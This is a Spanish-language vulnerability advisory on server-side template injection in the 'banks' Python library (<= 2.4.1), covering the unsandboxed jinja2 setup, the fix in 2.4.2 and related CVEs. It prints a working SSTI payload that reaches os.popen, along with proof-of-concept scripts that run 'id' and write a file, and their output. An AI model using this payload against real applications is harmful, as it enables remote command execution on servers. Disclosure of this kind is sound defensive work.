Resumen
La librería banks <= 2.4.1 utiliza jinja2.Environment() sin sandboxing para renderizar plantillas de prompts. Las aplicaciones que pasan cadenas suministradas por el usuario como argumento de plantilla a Prompt() son vulnerables a Server-Side Template Injection (SSTI), lo que puede llevar a Remote Code Execution (RCE) en el sistema host.
Esta es una vulnerabilidad en cómo banks inicializa su entorno Jinja2, no en Jinja2 en sí mismo.
Código Vulnerable
src/banks/env.py: el entorno global de Jinja2 se crea sin sandboxing:
env = Environment(
autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
...
)
Escenario de Ataque
Una aplicación que almacena plantillas de prompts en una base de datos, las acepta vía API, o las carga desde un archivo de configuración suministrado por el usuario y las pasa a Prompt() es vulnerable. Por ejemplo:
# Input controlado por usuario llega a Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text() # Ejecuta comando arbitrario en el host
Prueba de Concepto
Configuración:
pip install banks==2.4.1
Script PoC:
from banks import Prompt
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")
Salida confirmada:
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...
Prueba de escritura de archivo:
from banks import Prompt
p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec
Impacto
Las aplicaciones que permiten a usuarios finales suministrar o personalizar plantillas de prompts están en riesgo de Remote Code Execution completo, incluyendo ejecución de comandos arbitrarios, exfiltración de datos y compromiso del servidor.
Solución
Corregido en banks 2.4.2 (PR #74) cambiando a jinja2.sandbox.SandboxedEnvironment, que bloquea la cadena de traversal de atributos dunder en la que se basa este exploit.
Los desarrolladores en banks <= 2.4.1 deben actualizar a 2.4.2 y evitar pasar input de usuario no confiable como argumento de plantilla a Prompt().
Recursos
- Corrección: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack: causa raíz idéntica, CVSS 7.5)
- CVE-2025-25362 (spacy-llm: causa raíz idéntica)
- CWE-1336: Improper Neutralization of Special Elements in a Template Enginea.
